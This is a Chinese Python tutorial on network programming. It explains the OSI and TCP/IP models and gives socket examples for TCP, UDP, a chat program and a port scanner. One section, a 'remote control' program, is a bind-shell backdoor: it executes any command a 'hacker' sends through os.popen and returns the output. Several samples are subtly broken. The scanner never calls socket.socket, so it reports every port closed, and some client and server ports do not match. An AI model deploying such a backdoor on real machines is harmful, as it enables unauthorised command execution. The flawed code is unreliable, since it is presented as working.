在学习网络编程之前,先要了解一些基础知识。
OSI七层模型
OSI(Open System Interconnect),即开放式系统互联。OSI定义了网络互连的七层框架(物理层、数据链路层、网络层、传输层、会话层、表示层、应用层),即ISO开放互连系统参考模型。如下图。
- 应用层
OSI参考模型中最靠近用户的一层,是为计算机用户提供应用接口,也为用户直接提供各种网络服务。我们常见应用层的网络服务协议有:HTTP,HTTPS,FTP,POP3、SMTP等。 - 表示层
表示层提供各种用于应用层数据的编码和转换功能,确保一个系统的应用层发送的数据能被另一个系统的应用层识别。 - 会话层
会话层就是负责建立、管理和终止表示层实体之间的通信会话。 - 传输层
建立了主机端到端的链接,传输层的作用是为上层协议提供端到端的可靠和透明的数据传输服务。 - 网络层
本层通过IP寻址来建立两个节点之间的连接,为源端的运输层送来的分组,选择合适的路由和交换节点,正确无误地按照地址传送给目的端的运输层。 - 数据链路层
将比特组合成字节,再将字节组合成帧,使用链路层地址 (以太网使用MAC地址)来访问介质,并进行差错检测。 - 物理层
实际最终信号的传输是通过物理层实现的。通过物理介质传输比特流。规定了电平、速度和电缆针脚。
TCP/IP五层模型
TCP/IP五层协议与OSI七层模型对应关系如下
每一层主要的协议如下图
tcp是可靠的传输,面向连接,传输效率低,一般用来做web浏览器、文件传输;
udp是不可靠的传输,无连接的服务,传输效率高无拥塞机制。
基础
服务端server.py
# 服务端程序
import socket
# 导入socket模块
s = socket.socket()
# 获取自己的ip地址
host = socket.gethostname()
# 用12345端口通信
port = 12345
# 绑定ip和端口
s.bind((host, port))
# 等待用户连接 最多5人
s.listen(5)
# 建立和客户端的连接 c是对方的套接字 addr是对方ip地址
c, addr = s.accept()
print("对方连接地址是", addr)
# 通过客户的套接字发送welcome给对方
c.send('welcome'.encode('utf-8'))
# 接受客户信息
print(c.recv(1024).decode('utf-8'))
c.close()
客户端client.py
# 客户端程序
import socket
s = socket.socket()
# 要连接的ip地址
host = '192.168.1.6'
port = 12345
# 连接服务端
s.connect((host, port))
msg = input('要发送的信息:')
s.send(msg.encode('utf-8'))
print(s.recv(1024).decode('utf-8'))
s.close()
循环通信
上面的那个代码,客户端只能往服务端发一句话,这里使用while循环,可以实现持续发送的额功能
server.py
import socket
def main():
# AF_INET是使用ipv4进行通信;SOCK_STREAM使用tcp进行通信
tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定端口
tcp_server_socket.bind(("", 10001))
tcp_server_socket.listen(128)
# 循环为多个客户服务多次
while True:
new_client_socket, client_addr = tcp_server_socket.accept()
print("the %s connecting" % (str(client_addr)))
new_client_socket.send('welcome'.encode('utf-8'))
# 循环为客户服务
while True:
try:
recv_data = new_client_socket.recv(1024).decode('utf-8')
print(recv_data)
if recv_data == 'exit':
new_client_socket.close()
except:
print("断开连接")
break
tcp_server_socket.close()
if __name__ == '__main__':
main()
client.py
import socket
tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_ip = "192.168.1.6"
server_port = 12345
server_add = (server_ip, server_port)
tcp_socket.connect(server_add)
first_data = tcp_socket.recv(1024)
print(first_data.decode('utf-8'))
# 持续发送数据
while True:
send_data = input('sned-->')
tcp_socket.send(send_data.encode('utf-8'))
tcp_socket.close()
远控小程序
server.py
import socket
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 12345
s.bind((host, port))
s.listen(5)
while True:
c, addr = s.accept()
print("连接地址是:", addr)
c.send("欢迎连接".encode('utf-8'))
while True:
try:
# 接受普通文字
recv_data = c.recv(1024).decode('utf-8')
print(recv_data)
if recv_data == 'cmd':
c.send("ok cmd start".encode('utf-8'))
while True:
# 循环接受黑客发来的命令
data = c.recv(1024)
recv_data2 = data.decode('utf-8')
if recv_data2 == 'exit':
c.send('cmd stop'.encode('utf-8'))
break
else:
# 执行黑客的cmd命令并读取执行结果
x = os.popen(recv_data2).read()
# 把命令回显发送给黑客
c.send(x.encode('utf-8'))
else:
c.send(recv_data.encode('utf-8'))
if recv_data == 'bye':
c.close()
except:
print("断开连接")
break
s.close()
client.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '192.168.1.6'
port = 12346
s.connect((host, port))
while True:
data_recv=s.recv(1024)
print(data_recv.decode('utf-8'))
msg = input('send message:')
s.send(msg.encode('utf-8'))
s.close()
带参数的端口扫描器
在写端口扫描器之前,先了解一个python的功能sys.argv
基础.py
import sys
print(sys.argv)
如果命令行内输入python3 基础.py
,会输出
在后面加上参数python3 基础.py 66 haha
,输出
因为是列表,可以将其中的参数提取出来print(sys.argv[2])
import sys
import socket
# 判断端口是否开放
def open(ip, port):
s = socket.socket
try:
s.connect((ip, port))
return True
except:
return False
def scan(ip, portlist):
for x in portlist:
if open(ip, x):
print("%s host %s port open" % (ip, x))
else:
print("%s host %s port close" % (ip, x))
def rscan(ip, s, e):
for x in range(s, e):
if open(ip, x):
print("%s host %s port open" % (ip, x))
else:
print("%s host %s port close" % (ip, x))
def main():
defaultport = [21, 22, 25, 80, 81, 135, 139, 445, 1433, 3306, 3389, 5944]
# 获取第一个参数
str = sys.argv[1]
if len(sys.argv) == 2:
if str[0] == '-':
option = sys.argv[1][1:] # 看一下-之后是什么
if option == 'version':
print("软件版本1.0")
elif option == 'help':
print("python3 xxx.py [ip] [port:80,81或80-90]")
sys.exit()
# 默认没有扫描参数 python3 xxx.py 127.0.0.1
scan(sys.argv[1], defaultport)
elif len(sys.argv) == 3:
# python3 xxx.py 127.0.0.1 80,81
if ',' in sys.argv[2]:
p = sys.argv[2]
p = list(map(int, p.split(',')))
scan(sys.argv[1], p)
# 参数有-的情况
elif '-' in sys.argv[2]: # python3 xxx.py ip 80-90
a = sys.argv[2]
a = list(map(int, a.split('-')))
s = a[0]
e = a[1]
rscan(sys.argv[1], s, e)
if __name__ == '__main__':
main()
UDP通信
server.py
import socket
# 初始化套接字,使用ipv4的udp通信
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("", 6000))
while True:
data, addr = s.recvfrom(1024)
print("connect by", addr)
print("recv data:", data.decode('utf-8'))
s.sendto(data, addr)
s.close()
client.py
import socket
c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while True:
text = input("--->")
c.sendto(text.encode('utf-8'), ("192.168.1.6", 6000))
if text == 'exit':
break
ans=c.recvfrom(1024)
print(ans[0].decode('utf-8'))
c.close()
udp通信在发送消息时,是发送一次连接一次服务端,区别于tcp通信。
UDP聊天室
import socket
def send_msg(udp_socket):
# 获取发送内容
dest_ip = input('请输入对方ip:')
dest_port = input('请输入对方端口:')
send_data = input('--->')
udp_socket.sendto(send_data.encode('utf-8'), (dest_ip, int(dest_port)))
def recv_msg(udp_socket):
recv_data = udp_socket.recvfrom(1024)
print("%s 说了 %s" % (str(recv_data[1]), recv_data[0].decode('utf-8')))
def main():
# 创建udp套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 绑定信息
udp_socket.bind(("", 7788))
while True:
send_msg(udp_socket)
recv_msg(udp_socket)
if __name__ == '__main__':
main()
这里服务端和客户端都用这个代码,但是bind绑定的端口要不同